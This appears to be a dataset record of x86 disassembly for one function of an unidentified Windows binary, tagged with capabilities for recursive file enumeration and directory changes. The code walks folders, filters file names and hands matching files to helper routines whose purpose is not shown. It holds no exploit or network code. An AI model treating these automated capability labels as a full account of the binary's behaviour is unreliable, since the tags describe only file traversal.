Function at 0x1bb20
Capabilities:
Enumerate files on windows
Enumerate files recursively
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x34
push 0
push 0
dec ecx
jne 0x1bb28
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00014044
lea edi, [ebp - 0x154]
xor eax, eax
push ebp
push 0x1be98
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00014054
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
push edi
lea eax, [ebp - 0x158]
mov ecx, 0x1beb0
mov edx, dword [ebp - 4]
call fcn.00013ea0
mov eax, dword [ebp - 0x158]
call fcn.00014054
push eax
call sub.kernel32.dll_FindFirstFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x1be5f
cmp byte [edi + 0x2c], 0x2e
je 0x1be50
lea eax, [ebp - 0x15c]
lea edx, [edi + 0x2c]
mov ecx, 0x104
call fcn.00013e3c
mov eax, dword [ebp - 0x15c]
call fcn.0001a4f0
test al, al
je 0x1be50
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x164]
lea edx, [edi + 0x2c]
mov ecx, 0x104
call fcn.00013e3c
mov eax, dword [ebp - 0x164]
mov ecx, 4
mov edx, 1
call fcn.000140b4
mov eax, dword [ebp - 0x160]
mov edx, 0x1bebc
call fcn.00013fa0
jne 0x1bc0b
cmp bl, 1
je 0x1be50
test byte [edi], 0x10
je 0x1bd47
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x168]
lea edx, [edi + 0x2c]
mov ecx, 0x104
call fcn.00013e3c
mov eax, dword [ebp - 0x168]
mov ecx, 7
mov edx, 1
call fcn.000140b4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x16c]
lea edx, [edi + 0x2c]
mov ecx, 0x104
call fcn.00013e3c
mov eax, dword [ebp - 0x16c]
mov ecx, 0xd
mov edx, 1
call fcn.000140b4
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x170]
lea edx, [edi + 0x2c]
mov ecx, 0x104
call fcn.00013e3c
mov eax, dword [ebp - 0x170]
mov ecx, 5
mov edx, 1
call fcn.000140b4
lea edx, [ebp - 0x174]
mov eax, dword [ebp - 0xc]
call fcn.0001ba70
mov eax, dword [ebp - 0x174]
mov edx, 0x1becc
call fcn.00013fa0
je 0x1be50
lea edx, [ebp - 0x178]
mov eax, dword [ebp - 0x10]
call fcn.0001ba70
mov eax, dword [ebp - 0x178]
mov edx, 0x1bedc
call fcn.00013fa0
je 0x1be50
lea edx, [ebp - 0x17c]
mov eax, dword [ebp - 0x14]
call fcn.0001ba70
mov eax, dword [ebp - 0x17c]
mov edx, 0x1bef4
call fcn.00013fa0
je 0x1be50
lea eax, [ebp - 8]
push eax
push 0x22964
push 0x1f5
lea eax, [edi + 0x2c]
push eax
call sub.kernel32.dll_GetFullPathNameA
lea eax, [ebp - 0x180]
mov edx, 0x22964
mov ecx, 0x1f5
call fcn.00013e3c
mov eax, dword [ebp - 0x180]
mov edx, ebx
call fcn.0001bb20
push 0x1befc
call sub.kernel32.dll_SetCurrentDirectoryA
test byte [edi], 0x10
jne 0x1be50
lea eax, [ebp - 8]
push eax
push 0x22964
push 0x1f5
lea eax, [edi + 0x2c]
push eax
call sub.kernel32.dll_GetFullPathNameA
lea eax, [ebp - 0x18c]
mov edx, 0x22964
mov ecx, 0x1f5
call fcn.00013e3c
mov eax, dword [ebp - 0x18c]
lea edx, [ebp - 0x188]
call fcn.0001ad60
mov eax, dword [ebp - 0x188]
lea edx, [ebp - 0x184]
call fcn.0001ba70
mov eax, dword [ebp - 0x184]
mov edx, 0x1bf08
call fcn.00013fa0
jne 0x1bdd7
lea eax, [ebp - 0x190]
mov edx, 0x22964
mov ecx, 0x1f5
call fcn.00013e3c
mov eax, dword [ebp - 0x190]
call fcn.0001d750
push 0xf
call sub.kernel32.dll_Sleep
cmp dword [0x22938], 0
je 0x1be50
lea eax, [ebp - 0x19c]
mov edx, 0x22964
mov ecx, 0x1f5
call fcn.00013e3c
mov eax, dword [ebp - 0x19c]
lea edx, [ebp - 0x198]
call fcn.0001ad60
mov eax, dword [ebp - 0x198]
lea edx, [ebp - 0x194]
call fcn.0001ba70
mov eax, dword [ebp - 0x194]
mov edx, 0x1bf14
call fcn.00013fa0
jne 0x1be50
lea eax, [ebp - 0x1a0]
mov edx, 0x22964
mov ecx, 0x1f5
call fcn.00013e3c
mov eax, dword [ebp - 0x1a0]
call fcn.0001aafc
push 0xf
call sub.kernel32.dll_Sleep
push edi
push esi
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x1bb91
push esi
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1be9f
lea eax, [ebp - 0x1a0]
mov edx, 0x13
call fcn.00013cf4
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00013cf4
lea eax, [ebp - 4]
call fcn.00013cd0
ret